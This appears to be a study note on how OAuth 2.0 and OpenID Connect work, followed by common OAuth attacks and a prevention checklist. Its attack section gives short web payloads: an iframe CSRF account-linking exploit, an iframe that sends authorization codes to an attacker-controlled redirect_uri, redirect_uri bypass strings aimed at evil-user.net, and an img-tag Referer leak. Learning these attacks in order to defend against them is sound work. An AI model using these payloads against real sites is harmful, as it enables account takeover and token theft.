# OAuth - Mechanism and Attacks

📌 OAuth is a commonly used authorization framework that enables websites and web applications to request limited access to a user's account on another application.

* Users can fine-tune which data they want to share rather than having to hand over full control of their account to a third party.
* The basic OAuth process is widely used to integrate third-party functionality that requires access to certain data from a user's account.

## How It Works

OAuth 2.0 was originally developed as a way of sharing access to specific data between applications.And It was not initially designed with authentication in mind;

#### OAuth is series of interactions between three distinct parties

* Client application
  * The website or web application that wants to access the user's data.
* Resource owner
  * The user whose data the client application wants to access.
* OAuth service provider
  * The website or application that controls the user's data and access to it. They support OAuth by providing an API for interacting with both an authorization server and a resource server.

### OpenID Connect

📌 Provides a dedicated identity and authentication layer that sits on top of the basic OAuth implementation.It adds some simple functionality that enables better support for the authentication use case of OAuth.

As each of these implementations was a custom workaround of sorts, there was also no standard way of requesting user data for this purpose(Authentication).

OpenID Connect solves a lot of these problems by adding standardized, identity-related features to make authentication via OAuth work in a more reliable and uniform way.

### OpenID : How It Works

* standardized set of scopes
* extra response type: id\_token

***

#### OpenID Connect Roles

Same as OAuth

* Relying party : Client application
* End-User : Resource owner
* OpenID Provider : Service Provider

***

#### OpenID Connect claims and scopes

* Claims : refers to the key:value pairs that represent information about the user on the resource server.
* Scope:Unlike basic OAuth, whose scopes are unique to each provider, all OpenID Connect services use an identical set of scopes.

The client application must specify the scope openid in the authorization request. They can then include one or more of the other standard scopes:

* Profile
* Email
* Address
* Phone

📌 Each of these scopes corresponds to read access for a subset of claims about the user that are defined in the OpenID specification.

Profile : Claims Related to user's identity, such as family\_name, given\_name, birth\_date

#### ID token

📌 This returns a JSON web token (JWT) The JWT payload contains a list of claims based on the scope that was initially requested. It also contains information about how and when the user was last authenticated by the OAuth service.

Better performance : Instead of having to get an access token and then request the user data separately, the ID token containing this data is sent to the client application immediately after the user has authenticated themselves.

***

***

### OAuth (Implementation | Flows | Grant types)

📌 The OAuth grant type determines the exact sequence of steps that are involved in the OAuth process.

* The client application specifies which grant type it wants to use in the initial authorization request it sends to the OAuth service.
* authorization code - implicit grant types as these are by far the most common.

#### OAuth Scopes

📌 The client application has to specify which data it wants to access and what kind of operations it wants to perform. It does this using the scope parameter of the authorization request it sends to the OAuth service.

Name of the scope is just an arbitrary text string, the format can vary dramatically between providers.

```bash
scope=contacts
scope=contacts.read
scope=contact-list-r
scope=https://oauth-authorization-server.com/auth/scopes/user/contacts.readonly
```

📌 When OAuth is used for authentication, however, the standardized OpenID Connect scopes are often used instead.

### Authorization Code

<figure><img src="https://3079983923-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeafLyjNWlqNSCbbrOwGR%2Fuploads%2FWiak6hpsvr57wVQREMwk%2Fimage.png?alt=media&#x26;token=72bc16ce-106f-4800-92f5-4f957fe15096" alt=""><figcaption></figcaption></figure>

#### 1 - Authorization request

📌 The client application sends a request to the OAuth service's /authorization endpoint asking for permission to access specific user data.

Note that the endpoint mapping may vary between providers

```bash
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
```

Request Contents:

* client\_id : Unique identifier of the client application generated when the client application registers with the OAuth service
* redirect\_uri : The URI to which the user's browser should be redirected when sending the authorization code to the client application. (known as the "callback URI" or "callback endpoint".)
* response\_type : Determines which kind of response the client application is expecting and, therefore, which flow it wants to initiate. For the authorization code grant type, the value should be code.
* Scope : Used to specify which subset of the user's data the client application wants to access.
* State : Stores a unique, unguessable value that is tied to the current session on the client application.
  * The OAuth service should return this exact value in the response, along with the authorization code
  * This parameter serves as a form of CSRF token

#### 2 - User login and consent(Client-App is Not involved Here)

📌 The user Logs in to the Service Provider and Accepts The access. To the specified Scope. This is done just for the first time.After That it’s automated as long as the user still has a valid session with the OAuth service.

#### 3 - Authorization code grant

* browser will be redirected to the /callback endpoint (specified in the redirect\_uri parameter)
* The resulting GET request will contain the authorization code as a query parameter.
* It may also send the state parameter with the same value as in the authorization request.

```bash
GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com
```

#### 4 - Access token request

All communication from this point on takes place in a secure back-channel and, therefore, cannot usually be observed or controlled by an attacker.

* Client sends a server-to-server POST request to the OAuth service's /token endpoint.

```bash
POST /token HTTP/1.1
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8
```

* client\_secret: The client application must authenticate itself by including the secret key that it was assigned when registering with the OAuth service.
* grant\_type : Used to make sure the new endpoint knows which grant type the client application wants to use. In this case, this should be set to authorization\_code

#### 5 - Access token grant

The OAuth service will validate the access token request. If everything is as expected, the server responds by granting the client application an access token with the requested scope.

```json
{
    "access_token": "z0y9x8w7v6u5",
    "token_type": "Bearer",
    "expires_in": 3600,
    "scope": "openid profile",
    …
}
```

#### 6 - API call

Now the client application has the access code, it can finally fetch the user's data from the resource server.

* It makes an API call to the OAuth service's /userinfo endpoint.
* The access token is submitted in the Authorization: Bearer header to prove that the client application has permission to access this data.

```json
GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5
```

#### 7 - Resource grant

The resource server should verify that the token is valid and that it belongs to the current client application. If so, it will respond by sending the requested resource i.e. the user's data based on the scope of the access token.

```json
{
    "username":"carlos",
    "email":"carlos@carlos-montoya.net",
    …More Data According To The scope
}

```

### Implicit

Rather than first obtaining an authorization code and then exchanging it for an access token, the client application receives the access token immediately after the user gives their consent.

<figure><img src="https://3079983923-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeafLyjNWlqNSCbbrOwGR%2Fuploads%2FPrBGrOmBT5fxj9B7r5CI%2FUntitled%201.png?alt=media&#x26;token=596c7856-a6e4-4b78-9a42-7cef06814b38" alt=""><figcaption></figcaption></figure>

#### 1 - Authorization request

The implicit flow starts in much the same way as the authorization code flow. The only major difference is that the response\_type parameter must be set to token not code

#### 2 - User login and consent

#### 3 - Access token grant

This is where things start to differ.

* The OAuth service will redirect the user's browser to the redirect\_uri specified in the authorization request.
* Instead of sending a query parameter containing an authorization code, it will send the access token and other token-specific data as a URL fragment.

#### 4 - API call

#### 5 - Resource grant

#### Here Comes The Problems

The access token is sent from the OAuth service to the client application via the user's browser as a URL fragment.The client application then accesses the token using JavaScript.

* Problem : If the application wants to maintain the session after the user closes the page, it needs to store the current user data
* Solution(maybe) : The client application will often submit this data to the server in a POST request and then assign the user a session cookie

#### Authentication bypass via OAuth implicit flow

* Intercept That Post Request Mentioned Up There
* Replace The Email - Username or any identifier With the victim’s

📌 Due to the dangers introduced by sending access tokens via the browser,It’s Recommended only for single-page applications

***

## Attacking OAuth

OAuth authentication vulnerabilities arise partly because the OAuth specification is relatively vague and flexible by design.Although there are a handful of mandatory components required for the basic functionality of each grant type, the vast majority of the implementation is completely optional.(Security Configurations Included)

### Flawed CSRF protection

* The state parameter is used as CSRF Token and should contain an unguessable value
* passed back and forth between the client application and the OAuth service verifying that the request is sent by one of them(client or service)
* If this parameter is missing(hence it’s optional) Then the OAuth might vulnrable depending on how OAuth is being used.
* You can enforce The victim to user a social media account that you control By Forcing him to send this request (make sure to drop the request in Authorization code grant phase and Let the victim continue)

```json
GET /callback?code={The Code You recive in Authorization code grant} HTTP/1.1
Host: client-app.com
```

#### Exploit :

```json
<iframe src="https://client.net/oauth-linking?code={The Code You recive in Authorization code grant}"></iframe>
```

### Leaking authorization codes and access tokens

If the OAuth service fails to validate this redirect\_uri URI properly, an attacker may be able to construct a CSRF-like attack, tricking the victim's browser into initiating an OAuth flow that will send the code or token to an attacker-controlled redirect\_uri

#### Exploit :

```json
<iframe src="https://OAUTH-SERVER.net/auth?client_id=YOUR-CLIENT-ID&redirect_uri=https://YOUR-EXPLOIT-SERVER&response_type=code&scope=openid%20profile%20email"></iframe>
```

#### There Might be some redirect\_uri validations Like The Whitelist

You might try the following approach:

* understand how it is being validated
*   base on the mechanism you could bypass the validations using:

    *   The usual SSRF OR CORS Bypasses ([Recommened](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf) - URL Parsing Issues Section)

        ```json
        https://default-host.com &@foo.evil-user.net#@bar.evil-user.net/
        ```
    *   server-side parameter pollution

        ```json
        https://oauth-authorization-server.com/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.net
        ```
    * sometimes [localhost](http://localhost) has a special treatment you might try localhost.evil.com

    > Sometimes changing one parameter can affect the validation of others play around

    For example, changing the response\_mode from query to fragment can sometimes completely alter the parsing of the redirect\_uri

### Stealing codes and access tokens via a proxy page

* You should have a relatively good understanding of which parts of the URI you can tamper
* Try to change the redirect\_uri parameter to point to any other pages on a whitelisted domain.
* Directory Traversal as example

```json
https://client-app.com/oauth/callback/../../example/path
```

May be interpreted on the back-end as:

```json
https://client-app.com/example/path
```

* audit [https://client-app.com/example/path](https://client-app.com/example/path) for additional vulnerabilities that you can potentially use to leak the code or token.
  * For the authorization code flow, you need to find a vulnerability that gives you access to the query parameters
  * For the implicit grant type, you need to extract the URL fragment.

#### Open Redirect

You can use this as a proxy to forward victims, along with their code or token, to an attacker-controlled domain where you can host any malicious script you like.

#### XSS

By stealing an OAuth code or token, the attacker can gain access to the user's account in their own browser. This gives them much more time to explore the user's data and perform harmful actions, significantly increasing the severity of the XSS vulnerability.

#### HTML injection

If you can point the redirect\_uri parameter to a page on which you can inject your own HTML content, you might be able to leak the code via the Referer header.

```html
<img src="evil-user.net">
```

### Unverified user registration

When authenticating users via OAuth, the client application makes the implicit assumption that the information stored by the OAuth provider is correct. This can be a dangerous assumption to make.

> Some websites that provide an OAuth service allow users to register an account without verifying all of their details, including their email address in some cases. An attacker can exploit this by registering an account with the OAuth provider using the same details as a target user, such as a known email address. Client applications may then allow the attacker to sign in as the victim via this fraudulent account with the OAuth provider.

📌 Facebook for example, You can’t use a new facebook account in OAuth directly after creating it. You have to wait for 1 hour until they validate every detail

## Preventing OAuth authentication vulnerabilities

* [ ] Verify that the OAuth server is using secure transport mechanisms (e.g. SSL/TLS) to protect the communication between the server and clients.
* [ ] Ensure that the OAuth server is properly configured to use strong cryptographic algorithms and keys.
* [ ] Use a secure method for storing and transmitting the OAuth client secret.
* [ ] Validate all OAuth requests to ensure that they are coming from a trusted source and contain valid parameters.
* [ ] Use a nonce (a unique value generated for each request) to prevent replay attacks.
* [ ] Check that the authorization server is properly enforcing rate limits to prevent brute force attacks.
* [ ] Use a state parameter to protect against cross-site request forgery (CSRF) attacks.
* [ ] Implement proper error handling to prevent information leakage.
* [ ] Consider implementing additional security measures, such as two-factor authentication or a security key, to protect against unauthorized access.

#### Resources:

[How to prevent OAuth authentication vulnerabilities | Web Security Academy](https://portswigger.net/web-security/oauth/preventing)

[OpenID Connect | Web Security Academy](https://portswigger.net/web-security/oauth/openid)

[OAuth grant types | Web Security Academy](https://portswigger.net/web-security/oauth/grant-types)

[OAuth 2.0 authentication vulnerabilities | Web Security Academy](https://portswigger.net/web-security/oauth)
